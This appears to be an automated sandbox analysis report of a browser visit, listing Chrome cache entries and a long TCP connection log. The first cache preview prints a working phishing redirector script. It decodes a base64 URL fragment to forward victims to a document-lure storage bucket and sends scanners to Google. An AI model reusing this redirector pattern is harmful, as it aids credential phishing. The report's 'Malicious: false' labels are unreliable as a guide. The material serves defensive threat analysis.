SHA-512:	3EA95BE16FA2E76423519FE994C3F5A835BAA3FC5F07A6C01C3A9C4EB7785FE5F7CC41C21FF1D627B3B32BE84C2E604AD856B8481AE9F6B3AAB2FCC2A413A655
Malicious:	false
Reputation:	low
URL:	https://peoplesynergie.com/tmp/
Preview:	<script>. var main_link = "https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/index.html";... if (!window.location.hash) {. location.href = "https://google.com";. }. var fragment = window.location.hash.substring(1);... if (fragment.length < 3) {. location.href = "https://google.com";. }... var base64regex = /^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)\|([0-9a-zA-Z+/]{3}=))?$/;. if (base64regex.test(fragment)) {. try {. var decodedFragment = atob(fragment);. console.log("Decoded Base64 value:", decodedFragment);. } catch (error) {. console.log("Error while decoding Base64 value:", error);. }. } else {. console.log("Not a valid Base64 value.");. decodedFragment = fragment;. }.. location.href = `${main_link}${decodedFragment}`;.</script>

Chrome Cache Entry: 55

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	258
Entropy (8bit):	5.224167226047713
Encrypted:	false
SSDEEP:	6:TMVBd/IqZjZvKTQp7n5ghmI2k52uLjFan:TMHd1BZKTcn5g97da
MD5:	FDE01360AC1987F78B19538F88949A93
SHA1:	B12884415383DBB9CCD842BD32D67E1B56116B65
SHA-256:	8B1B8AC43A84A54632C2EFAEBF83050D6F426FDD3AE1D56ECCFEE6A62241C1BC
SHA-512:	5345A80B90D64CE4A6C4FE0ADE577B1AE51FBF8C7296274333154515720A937A615C77081E9FAF14308163CBE8216BC89590E2B1CF06192987BD6EEC9C97EA79
Malicious:	false
Reputation:	low
URL:	"https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/,"
Preview:	<?xml version="1.0" encoding="UTF-8"?><Error><Code>AccessDenied</Code><BucketName>documentreceivedvirtually-portal-preview</BucketName><RequestId>tx00000d83d551d644c2152-0066bc131a-69b14613-default</RequestId><HostId>69b14613-default-default</HostId></Error>

Chrome Cache Entry: 56

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47992), with no line terminators
Category:	dropped
Size (bytes):	47992
Entropy (8bit):	5.605846858683577
Encrypted:	false
SSDEEP:	768:LuxoaUN4+OIhwP53+e0QfA31jQM9OT81NHv4rnwfe:LuxoaU2+LwB2+G1ZdvCwfe
MD5:	CF3402D7483B127DED4069D651EA4A22
SHA1:	BDE186152457CACF9C35477B5BDDA5BCB56B1F45
SHA-256:	EAB5D90A71736F267AF39FDF32CAA8C71673FD06703279B01E0F92B0D7BE0BFC
SHA-512:	9CE42EBC3F672A2AEFC4376F43D38CA9ED9D81AA5B3C1EEF60032BCC98A1C399BE68D71FD1D5F9DE6E98C4CE0B800F6EF1EF5E83D417FBFFA63EEF2408DA55D8
Malicious:	false
Reputation:	low
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,bt=bt\|\|function(l){var t;if("undefined"!=typeof window&&window.crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.getRandomValues)try{return t.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof t.randomBytes)try{return t.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var r=Object.create\|\|function(t){var e;return n.prototype=t,e=new n,n.prototype=null

Chrome Cache Entry: 57

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (45034)
Category:	downloaded
Size (bytes):	45035
Entropy (8bit):	5.4004525796866005
Encrypted:	false
SSDEEP:	768:oCD98WxH5PbdrKAY+2HtedqdRQgFiIonqIjaEzY+iBggYydRm1TPjXk/bYjf+cd6:/xH5PbdrZkygk7qIjDgYjJY
MD5:	66A1BBAC0359F62478F143AE477E7059
SHA1:	26401679C93C9EB8B7A9D159A81E9CD0FF349B93
SHA-256:	09969FF98103700563D510B68EB73E8FC668F2D4005B58CD5F06DCB21817E140
SHA-512:	4F90A96F7BE9699C854403E9409854ACC3639F94EC0594C41BDEF74BC9F25C6C28F0F4541391CE956BB50F645AFB126DFFC6210F7C48F31198AA88264C8A05C6
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/turnstile/v0/b/cc21665cd7b9/api.js
Preview:	"use strict";(function(){function St(e,r,a,o,c,u,g){try{var _=e[u](g),p=_.value}catch(f){a(f);return}_.done?r(p):Promise.resolve(p).then(o,c)}function Ot(e){return function(){var r=this,a=arguments;return new Promise(function(o,c){var u=e.apply(r,a);function g(p){St(u,o,c,g,_,"next",p)}function _(p){St(u,o,c,g,_,"throw",p)}g(void 0)})}}function P(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):P(e,r)}function Oe(e,r,a){return r in e?Object.defineProperty(e,r,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[r]=a,e}function Ce(e){for(var r=1;r<arguments.length;r++){var a=arguments[r]!=null?arguments[r]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){Oe(e,c,a[c])})}return e}function _r(e,r){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 58

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (45034)
Category:	dropped
Size (bytes):	45035
Entropy (8bit):	5.4004525796866005
Encrypted:	false
SSDEEP:	768:oCD98WxH5PbdrKAY+2HtedqdRQgFiIonqIjaEzY+iBggYydRm1TPjXk/bYjf+cd6:/xH5PbdrZkygk7qIjDgYjJY
MD5:	66A1BBAC0359F62478F143AE477E7059
SHA1:	26401679C93C9EB8B7A9D159A81E9CD0FF349B93
SHA-256:	09969FF98103700563D510B68EB73E8FC668F2D4005B58CD5F06DCB21817E140
SHA-512:	4F90A96F7BE9699C854403E9409854ACC3639F94EC0594C41BDEF74BC9F25C6C28F0F4541391CE956BB50F645AFB126DFFC6210F7C48F31198AA88264C8A05C6
Malicious:	false
Reputation:	low
Preview:	"use strict";(function(){function St(e,r,a,o,c,u,g){try{var _=e[u](g),p=_.value}catch(f){a(f);return}_.done?r(p):Promise.resolve(p).then(o,c)}function Ot(e){return function(){var r=this,a=arguments;return new Promise(function(o,c){var u=e.apply(r,a);function g(p){St(u,o,c,g,_,"next",p)}function _(p){St(u,o,c,g,_,"throw",p)}g(void 0)})}}function P(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):P(e,r)}function Oe(e,r,a){return r in e?Object.defineProperty(e,r,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[r]=a,e}function Ce(e){for(var r=1;r<arguments.length;r++){var a=arguments[r]!=null?arguments[r]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){Oe(e,c,a[c])})}return e}function _r(e,r){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 59

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	258
Entropy (8bit):	5.152789195741698
Encrypted:	false
SSDEEP:	6:TMVBd/IqZjZvKTQp7n5ghCGeDW9ybTE2IkX52CIkXjFan:TMHd1BZKTcn5gY7K92HTa
MD5:	E4BA4AE892EA058DEF338E41A9BC8403
SHA1:	79B2EF4FF094BDD7F49B38CC9D51A614120F9E8A
SHA-256:	FB99252EF0B41DDF7D61D23F0FE56DEFD1CBC4A1E31AFE4F080DD1FB69687A4D
SHA-512:	489CF104E748AA7748F137502DE343D48DF08BAE3750088A9AC1E1F71AA6D0F63B2D7AB3CFFFBB98AD82044C094AC95C72B1A6648617D44FA201DB3082DE9167
Malicious:	false
Reputation:	low
URL:	https://documentreceivedvirtually-portal-preview.nl-ams-1.linodeobjects.com/favicon.ico
Preview:	<?xml version="1.0" encoding="UTF-8"?><Error><Code>AccessDenied</Code><BucketName>documentreceivedvirtually-portal-preview</BucketName><RequestId>tx000001dc67f3eae7e6567-0066bc1316-6c68b21d-default</RequestId><HostId>6c68b21d-default-default</HostId></Error>

Chrome Cache Entry: 60

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 61

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47992), with no line terminators
Category:	downloaded
Size (bytes):	47992
Entropy (8bit):	5.605846858683577
Encrypted:	false
SSDEEP:	768:LuxoaUN4+OIhwP53+e0QfA31jQM9OT81NHv4rnwfe:LuxoaU2+LwB2+G1ZdvCwfe
MD5:	CF3402D7483B127DED4069D651EA4A22
SHA1:	BDE186152457CACF9C35477B5BDDA5BCB56B1F45
SHA-256:	EAB5D90A71736F267AF39FDF32CAA8C71673FD06703279B01E0F92B0D7BE0BFC
SHA-512:	9CE42EBC3F672A2AEFC4376F43D38CA9ED9D81AA5B3C1EEF60032BCC98A1C399BE68D71FD1D5F9DE6E98C4CE0B800F6EF1EF5E83D417FBFFA63EEF2408DA55D8
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,bt=bt\|\|function(l){var t;if("undefined"!=typeof window&&window.crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.getRandomValues)try{return t.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof t.randomBytes)try{return t.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var r=Object.create\|\|function(t){var e;return n.prototype=t,e=new n,n.prototype=null

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 14, 2024 04:14:24.218131065 CEST	49675	443	192.168.2.4	173.222.162.32
Aug 14, 2024 04:14:32.920126915 CEST	49735	443	192.168.2.4	3.233.34.230
Aug 14, 2024 04:14:32.920233965 CEST	443	49735	3.233.34.230	192.168.2.4
Aug 14, 2024 04:14:32.920331955 CEST	49735	443	192.168.2.4	3.233.34.230
Aug 14, 2024 04:14:32.920595884 CEST	49735	443	192.168.2.4	3.233.34.230
Aug 14, 2024 04:14:32.920624971 CEST	443	49735	3.233.34.230	192.168.2.4
Aug 14, 2024 04:14:32.933713913 CEST	49736	443	192.168.2.4	3.233.34.230
Aug 14, 2024 04:14:32.933748007 CEST	443	49736	3.233.34.230	192.168.2.4
Aug 14, 2024 04:14:32.933852911 CEST	49736	443	192.168.2.4	3.233.34.230
Aug 14, 2024 04:14:32.934585094 CEST	49736	443	192.168.2.4	3.233.34.230
Aug 14, 2024 04:14:32.934617043 CEST	443	49736	3.233.34.230	192.168.2.4
Aug 14, 2024 04:14:33.524743080 CEST	443	49736	3.233.34.230	192.168.2.4
Aug 14, 2024 04:14:33.525119066 CEST	49736	443	192.168.2.4	3.233.34.230
Aug 14, 2024 04:14:33.525149107 CEST	443	49736	3.233.34.230	192.168.2.4
Aug 14, 2024 04:14:33.526667118 CEST	443	49736	3.233.34.230	192.168.2.4
Aug 14, 2024 04:14:33.526730061 CEST	49736	443	192.168.2.4	3.233.34.230
Aug 14, 2024 04:14:33.528101921 CEST	49736	443	192.168.2.4	3.233.34.230
Aug 14, 2024 04:14:33.528175116 CEST	443	49736	3.233.34.230	192.168.2.4
Aug 14, 2024 04:14:33.528354883 CEST	49736	443	192.168.2.4	3.233.34.230
Aug 14, 2024 04:14:33.528363943 CEST	443	49736	3.233.34.230	192.168.2.4
Aug 14, 2024 04:14:33.541234016 CEST	443	49735	3.233.34.230	192.168.2.4
Aug 14, 2024 04:14:33.541484118 CEST	49735	443	192.168.2.4	3.233.34.230
Aug 14, 2024 04:14:33.541506052 CEST	443	49735	3.233.34.230	192.168.2.4
Aug 14, 2024 04:14:33.545471907 CEST	443	49735	3.233.34.230	192.168.2.4
Aug 14, 2024 04:14:33.545623064 CEST	49735	443	192.168.2.4	3.233.34.230
Aug 14, 2024 04:14:33.546005011 CEST	49735	443	192.168.2.4	3.233.34.230
Aug 14, 2024 04:14:33.546433926 CEST	443	49735	3.233.34.230	192.168.2.4
Aug 14, 2024 04:14:33.661439896 CEST	49736	443	192.168.2.4	3.233.34.230
Aug 14, 2024 04:14:33.677457094 CEST	49735	443	192.168.2.4	3.233.34.230
Aug 14, 2024 04:14:33.677503109 CEST	443	49735	3.233.34.230	192.168.2.4
Aug 14, 2024 04:14:33.879363060 CEST	49735	443	192.168.2.4	3.233.34.230
Aug 14, 2024 04:14:33.879376888 CEST	49675	443	192.168.2.4	173.222.162.32
Aug 14, 2024 04:14:35.367908001 CEST	49739	443	192.168.2.4	142.250.184.228
Aug 14, 2024 04:14:35.368010044 CEST	443	49739	142.250.184.228	192.168.2.4
Aug 14, 2024 04:14:35.368082047 CEST	49739	443	192.168.2.4	142.250.184.228
Aug 14, 2024 04:14:35.368837118 CEST	49739	443	192.168.2.4	142.250.184.228
Aug 14, 2024 04:14:35.368876934 CEST	443	49739	142.250.184.228	192.168.2.4
Aug 14, 2024 04:14:36.013720989 CEST	443	49739	142.250.184.228	192.168.2.4
Aug 14, 2024 04:14:36.022701025 CEST	49739	443	192.168.2.4	142.250.184.228
Aug 14, 2024 04:14:36.022769928 CEST	443	49739	142.250.184.228	192.168.2.4
Aug 14, 2024 04:14:36.023665905 CEST	443	49739	142.250.184.228	192.168.2.4
Aug 14, 2024 04:14:36.023736954 CEST	49739	443	192.168.2.4	142.250.184.228
Aug 14, 2024 04:14:36.025315046 CEST	49739	443	192.168.2.4	142.250.184.228
Aug 14, 2024 04:14:36.025382042 CEST	443	49739	142.250.184.228	192.168.2.4
Aug 14, 2024 04:14:36.075746059 CEST	49739	443	192.168.2.4	142.250.184.228
Aug 14, 2024 04:14:36.075771093 CEST	443	49739	142.250.184.228	192.168.2.4
Aug 14, 2024 04:14:36.122435093 CEST	49739	443	192.168.2.4	142.250.184.228
Aug 14, 2024 04:14:36.390461922 CEST	443	49736	3.233.34.230	192.168.2.4
Aug 14, 2024 04:14:36.390821934 CEST	443	49736	3.233.34.230	192.168.2.4
Aug 14, 2024 04:14:36.390903950 CEST	49736	443	192.168.2.4	3.233.34.230
Aug 14, 2024 04:14:36.391453028 CEST	49736	443	192.168.2.4	3.233.34.230
Aug 14, 2024 04:14:36.391484976 CEST	443	49736	3.233.34.230	192.168.2.4
Aug 14, 2024 04:14:36.611145020 CEST	49740	443	192.168.2.4	184.28.90.27
Aug 14, 2024 04:14:36.611244917 CEST	443	49740	184.28.90.27	192.168.2.4
Aug 14, 2024 04:14:36.611319065 CEST	49740	443	192.168.2.4	184.28.90.27
Aug 14, 2024 04:14:36.612812996 CEST	49740	443	192.168.2.4	184.28.90.27
Aug 14, 2024 04:14:36.612848997 CEST	443	49740	184.28.90.27	192.168.2.4
Aug 14, 2024 04:14:36.754362106 CEST	49741	443	192.168.2.4	52.71.28.102
Aug 14, 2024 04:14:36.754462957 CEST	443	49741	52.71.28.102	192.168.2.4
Aug 14, 2024 04:14:36.754543066 CEST	49741	443	192.168.2.4	52.71.28.102
Aug 14, 2024 04:14:36.754834890 CEST	49741	443	192.168.2.4	52.71.28.102
Aug 14, 2024 04:14:36.754869938 CEST	443	49741	52.71.28.102	192.168.2.4
Aug 14, 2024 04:14:37.285773993 CEST	443	49740	184.28.90.27	192.168.2.4
Aug 14, 2024 04:14:37.285845041 CEST	49740	443	192.168.2.4	184.28.90.27
Aug 14, 2024 04:14:37.293251038 CEST	49740	443	192.168.2.4	184.28.90.27
Aug 14, 2024 04:14:37.293298960 CEST	443	49740	184.28.90.27	192.168.2.4
Aug 14, 2024 04:14:37.293668032 CEST	443	49740	184.28.90.27	192.168.2.4
Aug 14, 2024 04:14:37.341437101 CEST	49740	443	192.168.2.4	184.28.90.27
Aug 14, 2024 04:14:37.362941027 CEST	443	49741	52.71.28.102	192.168.2.4
Aug 14, 2024 04:14:37.369059086 CEST	49741	443	192.168.2.4	52.71.28.102
Aug 14, 2024 04:14:37.369127035 CEST	443	49741	52.71.28.102	192.168.2.4
Aug 14, 2024 04:14:37.370584965 CEST	443	49741	52.71.28.102	192.168.2.4
Aug 14, 2024 04:14:37.370655060 CEST	49741	443	192.168.2.4	52.71.28.102
Aug 14, 2024 04:14:37.405986071 CEST	49741	443	192.168.2.4	52.71.28.102
Aug 14, 2024 04:14:37.406135082 CEST	443	49741	52.71.28.102	192.168.2.4
Aug 14, 2024 04:14:37.408540010 CEST	49741	443	192.168.2.4	52.71.28.102
Aug 14, 2024 04:14:37.408596992 CEST	443	49741	52.71.28.102	192.168.2.4
Aug 14, 2024 04:14:37.448154926 CEST	49740	443	192.168.2.4	184.28.90.27
Aug 14, 2024 04:14:37.454112053 CEST	49741	443	192.168.2.4	52.71.28.102
Aug 14, 2024 04:14:37.488507986 CEST	443	49740	184.28.90.27	192.168.2.4
Aug 14, 2024 04:14:37.528748989 CEST	443	49741	52.71.28.102	192.168.2.4
Aug 14, 2024 04:14:37.528810024 CEST	443	49741	52.71.28.102	192.168.2.4
Aug 14, 2024 04:14:37.529186964 CEST	49741	443	192.168.2.4	52.71.28.102
Aug 14, 2024 04:14:37.534555912 CEST	49741	443	192.168.2.4	52.71.28.102
Aug 14, 2024 04:14:37.534599066 CEST	443	49741	52.71.28.102	192.168.2.4
Aug 14, 2024 04:14:37.639424086 CEST	443	49740	184.28.90.27	192.168.2.4
Aug 14, 2024 04:14:37.639566898 CEST	443	49740	184.28.90.27	192.168.2.4
Aug 14, 2024 04:14:37.639636993 CEST	49740	443	192.168.2.4	184.28.90.27
Aug 14, 2024 04:14:37.657120943 CEST	49740	443	192.168.2.4	184.28.90.27
Aug 14, 2024 04:14:37.657162905 CEST	443	49740	184.28.90.27	192.168.2.4
Aug 14, 2024 04:14:37.803601027 CEST	49742	443	192.168.2.4	184.28.90.27
Aug 14, 2024 04:14:37.803700924 CEST	443	49742	184.28.90.27	192.168.2.4
Aug 14, 2024 04:14:37.803778887 CEST	49742	443	192.168.2.4	184.28.90.27
Aug 14, 2024 04:14:37.804152966 CEST	49742	443	192.168.2.4	184.28.90.27
Aug 14, 2024 04:14:37.804188967 CEST	443	49742	184.28.90.27	192.168.2.4
Aug 14, 2024 04:14:38.116476059 CEST	49743	443	192.168.2.4	103.134.152.12
Aug 14, 2024 04:14:38.116549015 CEST	443	49743	103.134.152.12	192.168.2.4
Aug 14, 2024 04:14:38.116624117 CEST	49743	443	192.168.2.4	103.134.152.12
Aug 14, 2024 04:14:38.116847992 CEST	49743	443	192.168.2.4	103.134.152.12
Aug 14, 2024 04:14:38.116874933 CEST	443	49743	103.134.152.12	192.168.2.4
Aug 14, 2024 04:14:38.469722986 CEST	443	49742	184.28.90.27	192.168.2.4
Aug 14, 2024 04:14:38.469808102 CEST	49742	443	192.168.2.4	184.28.90.27
Aug 14, 2024 04:14:38.474045038 CEST	49742	443	192.168.2.4	184.28.90.27
Aug 14, 2024 04:14:38.474066019 CEST	443	49742	184.28.90.27	192.168.2.4
Aug 14, 2024 04:14:38.474399090 CEST	443	49742	184.28.90.27	192.168.2.4
Aug 14, 2024 04:14:38.476000071 CEST	49742	443	192.168.2.4	184.28.90.27
Aug 14, 2024 04:14:38.516532898 CEST	443	49742	184.28.90.27	192.168.2.4
Aug 14, 2024 04:14:38.748971939 CEST	443	49742	184.28.90.27	192.168.2.4
Aug 14, 2024 04:14:38.749154091 CEST	443	49742	184.28.90.27	192.168.2.4
Aug 14, 2024 04:14:38.749222994 CEST	49742	443	192.168.2.4	184.28.90.27
Aug 14, 2024 04:14:38.752108097 CEST	49742	443	192.168.2.4	184.28.90.27
Aug 14, 2024 04:14:38.752139091 CEST	443	49742	184.28.90.27	192.168.2.4
Aug 14, 2024 04:14:38.752166033 CEST	49742	443	192.168.2.4	184.28.90.27
Aug 14, 2024 04:14:38.752181053 CEST	443	49742	184.28.90.27	192.168.2.4
Aug 14, 2024 04:14:39.041898966 CEST	443	49743	103.134.152.12	192.168.2.4
Aug 14, 2024 04:14:39.042377949 CEST	49743	443	192.168.2.4	103.134.152.12
Aug 14, 2024 04:14:39.042412043 CEST	443	49743	103.134.152.12	192.168.2.4
Aug 14, 2024 04:14:39.043283939 CEST	443	49743	103.134.152.12	192.168.2.4
Aug 14, 2024 04:14:39.043356895 CEST	49743	443	192.168.2.4	103.134.152.12
Aug 14, 2024 04:14:39.046813965 CEST	49743	443	192.168.2.4	103.134.152.12
Aug 14, 2024 04:14:39.046879053 CEST	443	49743	103.134.152.12	192.168.2.4
Aug 14, 2024 04:14:39.047257900 CEST	49743	443	192.168.2.4	103.134.152.12
Aug 14, 2024 04:14:39.047274113 CEST	443	49743	103.134.152.12	192.168.2.4
Aug 14, 2024 04:14:39.091598034 CEST	49743	443	192.168.2.4	103.134.152.12
Aug 14, 2024 04:14:42.547982931 CEST	443	49743	103.134.152.12	192.168.2.4
Aug 14, 2024 04:14:42.548039913 CEST	443	49743	103.134.152.12	192.168.2.4
Aug 14, 2024 04:14:42.548115015 CEST	49743	443	192.168.2.4	103.134.152.12
Aug 14, 2024 04:14:42.549082994 CEST	49743	443	192.168.2.4	103.134.152.12
Aug 14, 2024 04:14:42.549103975 CEST	443	49743	103.134.152.12	192.168.2.4
Aug 14, 2024 04:14:43.819967031 CEST	49746	443	192.168.2.4	104.17.25.14
Aug 14, 2024 04:14:43.820050955 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:43.820135117 CEST	49746	443	192.168.2.4	104.17.25.14
Aug 14, 2024 04:14:43.820614100 CEST	49746	443	192.168.2.4	104.17.25.14
Aug 14, 2024 04:14:43.820691109 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:43.823338985 CEST	49747	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:43.823419094 CEST	443	49747	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:43.823489904 CEST	49747	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:43.823745012 CEST	49747	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:43.823780060 CEST	443	49747	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:44.293680906 CEST	443	49747	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:44.294092894 CEST	49747	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:44.294152975 CEST	443	49747	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:44.295787096 CEST	443	49747	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:44.295870066 CEST	49747	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:44.299746037 CEST	49747	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:44.299838066 CEST	443	49747	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:44.300364017 CEST	49747	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:44.300379038 CEST	443	49747	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:44.303807974 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.304335117 CEST	49746	443	192.168.2.4	104.17.25.14
Aug 14, 2024 04:14:44.304393053 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.305282116 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.305350065 CEST	49746	443	192.168.2.4	104.17.25.14
Aug 14, 2024 04:14:44.306452990 CEST	49746	443	192.168.2.4	104.17.25.14
Aug 14, 2024 04:14:44.306515932 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.307070971 CEST	49746	443	192.168.2.4	104.17.25.14
Aug 14, 2024 04:14:44.307086945 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.342338085 CEST	49747	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:44.358201981 CEST	49746	443	192.168.2.4	104.17.25.14
Aug 14, 2024 04:14:44.410037041 CEST	443	49747	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:44.410185099 CEST	443	49747	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:44.410351992 CEST	49747	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:44.410850048 CEST	49747	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:44.410887957 CEST	443	49747	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:44.413245916 CEST	49748	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:44.413325071 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:44.413403034 CEST	49748	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:44.413821936 CEST	49748	443	192.168.2.4	104.18.94.41
Aug 14, 2024 04:14:44.413857937 CEST	443	49748	104.18.94.41	192.168.2.4
Aug 14, 2024 04:14:44.449137926 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.449165106 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.449218988 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.449300051 CEST	49746	443	192.168.2.4	104.17.25.14
Aug 14, 2024 04:14:44.449358940 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.449402094 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.449461937 CEST	49746	443	192.168.2.4	104.17.25.14
Aug 14, 2024 04:14:44.449477911 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.449506044 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.449640036 CEST	49746	443	192.168.2.4	104.17.25.14
Aug 14, 2024 04:14:44.449652910 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.449870110 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.449924946 CEST	49746	443	192.168.2.4	104.17.25.14
Aug 14, 2024 04:14:44.449935913 CEST	443	49746	104.17.25.14	192.168.2.4
Aug 14, 2024 04:14:44.454170942 CEST	443	49746	104.17.25.14	192.168.2.4
